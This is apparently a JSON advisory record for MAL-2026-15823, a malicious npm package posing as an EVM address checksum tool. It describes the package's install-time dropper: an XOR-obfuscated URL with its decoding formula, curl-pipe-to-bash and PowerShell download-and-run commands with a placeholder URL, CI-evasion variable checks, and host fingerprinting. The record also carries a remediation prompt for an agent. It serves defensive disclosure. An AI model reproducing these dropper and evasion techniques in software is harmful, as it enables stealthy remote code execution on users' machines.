{"answers":{"affected":"1 open source package ship an affected version, including @stellarshift/evm-address-kit.","exploited":"There is no known exploitation of MAL-2026-15823 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-15823 is a malicious package in @stellarshift/evm-address-kit, published on 2 Sep 2026."},"fix_prompt":"MAL-2026-15823 is a malicious package: @stellarshift/evm-address-kit (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-15823/ (Markdown: https://insights.sbomify.com/MAL-2026-15823/index.md)","id":"MAL-2026-15823","markdown":"https://insights.sbomify.com/MAL-2026-15823/index.md","name":"MAL-2026-15823","record":{"aliases":["GHSA-99vv-f5jw-j464"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"The package declares a `postinstall` script that invokes `syncRemoteManifest` in `lib/runtime/manifest-sync.js`. The destination URL is not present in cleartext: `lib/runtime/endpoint-registry.json` stores an integer array under an `ss-xor-v1` encoding with seed `evm-address-kit`, which `lib/runtime/config-resolver.js` decodes via `segments[i] ^ key.charCodeAt(i % key.length) ^ ((i * 7 + 13) \u0026 0xff)` at runtime to reconstruct an `https://` URL. The dropper then executes `curl -fsSL '\u003curl\u003e' | bash` on Linux/macOS or `powershell... iex (iwr -UseBasicParsing -Uri $uri).Content` on Windows in a detached child process, piping opaque remote content directly into a shell/PowerShell interpreter. Execution is gated by `dev-profile.js`: it aborts when common CI environment variables are set (`CI`, `GITHUB_ACTIONS`, `GITLAB_CI`, `JENKINS_URL`, `BUILDKITE`, `CIRCLECI`, `TF_BUILD`, `CONTINUOUS_INTEGRATION`) and, on darwin/win32, requires both a Lark/Feishu install (`/Applications/Lark.app`, `/Applications/Feishu.app`) and a FortiClient install (`Fortinet\\FortiClient`) to be present. The stated purpose of the package is EVM address checksumming, which does not justify runtime URL obfuscation, remote shell execution at install time, or corporate-workstation fingerprinting. The combination — install-time execution, obfuscated destination, CI evasion, and specific-vendor host fingerprinting — is a targeted install-time remote code execution dropper aimed at managed corporate endpoints running Lark/Feishu with FortiClient VPN.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in @stellarshift/evm-address-kit (npm)","id":"MAL-2026-15823","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"@stellarshift/evm-address-kit","purl":"pkg:npm/%40stellarshift/evm-address-kit","source":"MAL-2026-15823"}],"products":null,"published":"2026-09-02","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-15823/"}